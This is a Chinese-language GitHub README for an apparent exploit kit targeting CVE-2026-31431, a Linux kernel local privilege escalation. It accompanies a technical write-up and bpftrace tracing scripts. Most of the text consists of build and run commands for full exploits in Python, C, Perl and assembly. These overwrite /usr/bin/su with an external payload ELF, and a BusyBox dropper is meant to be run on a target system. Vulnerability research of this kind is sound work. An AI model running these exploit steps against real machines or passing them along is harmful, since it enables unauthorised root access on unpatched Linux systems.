4xura/CVE-2026-31431-Copy-Fail
GitHub: 4xura/CVE-2026-31431-Copy-Fail
这是一个针对CVE-2026-31431 Linux本地提权漏洞的利用工具包和研究资源。
Stars: 6 | Forks: 0
# CVE-2026-31431:当复制不是复制且失败来得太晚
用于CopyFail技术报告的工件与脚本。
深度解析文章:
- https://4xura.com/binex/kernel/copy-fail/
## 目录结构
- [`proof-of-concept/`](./proof-of-concept/) 包含技术报告中使用的基础概念验证演示。
- [`exploit-scripts/`](./exploit-scripts/) 包含使用Python、C、Perl和x86_64汇编实现的完整漏洞利用程序。
- [`bpftrace-scripts/`](./bpftrace-scripts/) 包含运行时分析期间使用的小型跟踪辅助工具。
## 前置条件
仅Perl、汇编和BusyBox工件需要外部替换ELF文件。在以下示例中,该文件命名为 `payload.pwnkit.elf`,但使用任何文件名均可。
该载荷不在本仓库内生成。请首先遵循技术报告中的载荷工作流程进行构建,然后将生成的ELF文件放置在与您要运行的工件相同的工作目录中。
基础概念验证程序和Python/C漏洞利用驱动程序可直接运行。
## 1. 基础概念验证程序
这些概念验证主要用于技术报告中的演示。它们单独展示了覆写原语,而非完整的替换执行工作流程。
要运行Python演示,请进入PoC目录并执行脚本:
```
cd proof-of-concept
python3 copyfail_poc.py
```
要运行C演示,请先构建然后执行生成的二进制文件:
```
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
```
## 2. Python漏洞利用程序
Python漏洞利用程序是自包含的,替换字节直接存储在脚本中。
切换到漏洞利用目录并运行默认目标路径:
```
cd exploit-scripts
python3 exploit.py
```
如果需要不同的目标基名,可将其作为第一个参数传递。要启用分块覆写日志,请设置 `DEBUG=1`:
```
python3 exploit.py su
DEBUG=1 python3 exploit.py su
```
## 3. C漏洞利用程序
C漏洞利用程序同样是自包含的。如果需要替换为其他载荷,请首先编辑 [`exploit-scripts/exploit.c`](./exploit-scripts/exploit.c) 中的 `PAYLOAD_BYTES`。
按如下方式构建静态(可选)二进制文件:
```
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
```
然后运行默认目标,或传递不同的基名。调试日志通过 `DEBUG=1` 控制:
```
./exploit
./exploit su
DEBUG=1 ./exploit su
```
## 4. Perl漏洞利用程序
此版本读取外部ELF载荷,而非在脚本中嵌入替换字节。
从漏洞利用目录运行。无额外参数时,使用默认目标路径和默认载荷路径:
```
cd exploit-scripts
perl exploit.pl
```
如果要同时明确指定受害者路径和载荷ELF,请将它们作为参数传递。调试日志也通过 `DEBUG=1` 控制:
```
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
```
## 5. 汇编漏洞利用程序
此版本同样使用外部ELF载荷。在以下示例中,它命名为 `payload.pwnkit.elf`,但您可以使用任何文件名。如果重命名,请更新 [`exploit-scripts/exploit.asm`](./exploit-scripts/exploit.asm) 中的 `incbin` 行以匹配。
使用 `nasm` 和 `ld` 构建汇编驱动程序:
```
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
```
然后运行默认目标,或传递完整目标路径:
```
./exploit_asm
./exploit_asm /usr/bin/su
```
## 6. BusyBox投放器
此工具将汇编驱动程序和外部载荷ELF打包成一个BusyBox兼容的运行器。以下示例使用 `payload.pwnkit.elf`,但只要将相同路径传递给打包器,任何载荷文件名均可。
从漏洞利用目录生成投放器:
```
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
```
在目标系统上,使用BusyBox `sh` 运行生成的脚本:
```
busybox sh ./copyfail-busybox.sh /usr/bin/su
```
## 7. Bpftrace辅助工具
在运行跟踪辅助工具之前,请检查相关符号是否可用:
```
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
```
要观察文件页面进入splice路径,请运行:
```
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
```
要观察管道支持的数据到达 `AF_ALG`,请运行:
```
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
```
要观察易受攻击的 `authencesn` 解密回调,请运行:
```
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt
```
标签:0day挖掘, bpftrace, CopyFail, CVE-2026-31431, C 语言, ELF 文件, Linux 内核, Perl, PoC 脚本, Python, Web报告查看器, x86_64 汇编, 二进制安全, 内核安全, 客户端加密, 情报收集, 无后门, 本地权限提升, 权限提升攻击, 概念验证, 漏洞研究, 网络安全, 脚本利用, 跟踪工具, 运行时分析, 逆向工具, 隐私保护